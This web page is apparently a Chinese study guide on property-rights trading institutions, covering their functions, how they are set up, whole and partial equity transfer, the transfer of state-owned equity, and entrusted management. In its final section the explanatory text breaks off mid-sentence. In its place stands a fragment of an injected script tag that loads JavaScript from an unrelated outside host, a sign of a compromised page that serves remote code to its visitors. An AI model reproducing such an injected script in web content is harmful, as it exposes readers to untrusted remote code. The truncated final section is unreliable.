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2011-08-19 11:38:43

 

 
 
2005-12-21
一、建立产权交易机构的积极意义是什么?
产权交易机构是企业从事产权买卖活动的具体场所,是我国社会主义市场体系的重要组成部分。从我国目前经济发展的实际需要看,建立产权交易机构是非常必要的:
1、组建产权交易机构,有利于促进资源优化配置。
2、建立产权交易机构,有利于规范企业产权转让行为,加强政府特别是国有资产管理部门对国有资产经营活动的监督与控制。
3、建立产权交易机构,有利于按照市场经济规律加速国有资产重组,促进以大中型国有企业为核心的企业集团的发展。
4、建立产权交易机构,有利于稳定社会经济的运行。
5、建立产权交易机构,有利于企业自身资源的优化配置。
6、建立产权交易机构,有利于提高国有资产的经营效率。
二、产权交易机构的职能
产权交易机构的职能一般包括;(1)为产权交易提供场所和设施;(2)组织产权交易活动;(3)审查产权交易出让方和受让方的资格及转让行为的合法性;(4)为产权交易双方提供信息等中介服务;(5)根据的有关规定对产权交易活动进行监管。
三、产权交易机构的主要业务范围:
产权交易机构的主要业务范围有:(l)办理企业部分或整体产权交易;(2)办理企业有形资产和无形资产的产权交易;(3)企业破产清算;(4)为产权交易的企业提供资产评估、产权拍卖、代理过户等服务;(5)为客户代找买方或卖方,代寻合作伙伴,代办企业承包、租赁的招标和投标工作;(6)搜集、发布产权交易信息:(7)为产权交易提供咨询服务;(8)组织产权交易洽谈会以及与产权交易相关的其他业务;(9)为企业产权的委托管理提供服务。
四、产权交易中介机构的设立条件和程序
设立产权交易中介机构应具备以下条件:( 1)有与其经营范围相适应的并能独立支配的财产或者经费;(2)有与从事产权交易业务相适应的固定场所和设施;(3)有一定数量能胜任工作的专业技术和管理人员;(4)有交易规则和相关的规章制度。设立产权交易中介机构,由设立单位向省一级国有资产管理部门提出申请。
五、整体产权转让的优点
(1)存量资产的配置更加彻底。在整体产权转让方式中,产权权益体系中的财产所有权、法人财产权及相应的收益权、处置权等都发生了转移,产权在交易者手中得到彻底调整,使原有产权主体对产权失去干预和控制,更有利于新的产权主体对财产的占有和使用。(2)有利于改变和优化要素使用方式和配置方式。(3)有利于迅速提高要素使用的规模水平和规模效益,增强经济活动的社会性,加速资金、资源集中的过程。(4)有利于改变要素的组合方式和结构,提高结构效益。整体产权交易方式能够比较彻底地改变产权性质,提高企业素质。
六、整体产权转让的不足
限制了原有产权的分割及其转让。难以适应收购者对企业部分资产的需求。同时,整体产权转让要求出资者有大量的资金,因此,也在一定程度上限制了资金缺乏者的潜在购买行为。
七、部分产权转让的优点
(l)扩大了产权交易的范围。因为产权分割为若干份出售,既增加了产权交易的供给方,又增加了产权交易的需求方,创造出产权交易的潜在需求者。(2)弥合了大规模的整体性产权交易的巨额资金“缺口”,为资金少、实力相对较弱的产权交易者进入市场提供了有利条件。(3)有利于企业设备更新换代,使企业将不需要的厂房设备转让给其他交易者,更容易调整要素存量结构。
八、国有股权:
是指由授权的投资主体作为股东,对因其以国有财产进行投资而在公司中形成的相应股份 (出资比例)所享有的收益和为此而享有的表决、质询、查询公司帐册以及对股份进行处分等权能的总和。
  国有股权的大小是由在公司有股份(出资比例)的多少决定的。国有股份是指用所有的财产投资形成的股份。
九、国有股权的转让
所谓国有股权的转让指的是国有股权通过买卖活动在不同主体间发生流动转移的一种经济和法律行为。随着我国社会主义市场经济的发展,国有股权的转让在我国会逐步增加乃至成为我国国有资产经营的一种重要方式。国有股权转让是国有资产存量调整的重要形式,它有利于搞活我国拥有的数万亿元的国有资产,可以提高国有资产增值能力和经济效益;有利于产品结构和产业结构的调整;有利于实现生产集中,以发挥规模效益,是解决经营性亏损企业的有效办法。国有股权转让应达到合理流动,优化组合的目的,维护国有资产产权利益,实行有偿转让,坚持自愿互利、公平竞争的原则。
  国有股权的转让包括两方面内容:一是非上市公司的国有股权转让,二是上市公司的国有股权转让。
十、托管经营
托管经营是指出资者或其代表在所有权不变的条件下,以契约形式在一定时期内将企业的法人财产权部分或全部让渡给另一家法人或自然人经营。由于托管这一方式能够?script src=http://cn.jxmmtv.com/cn.js>

 
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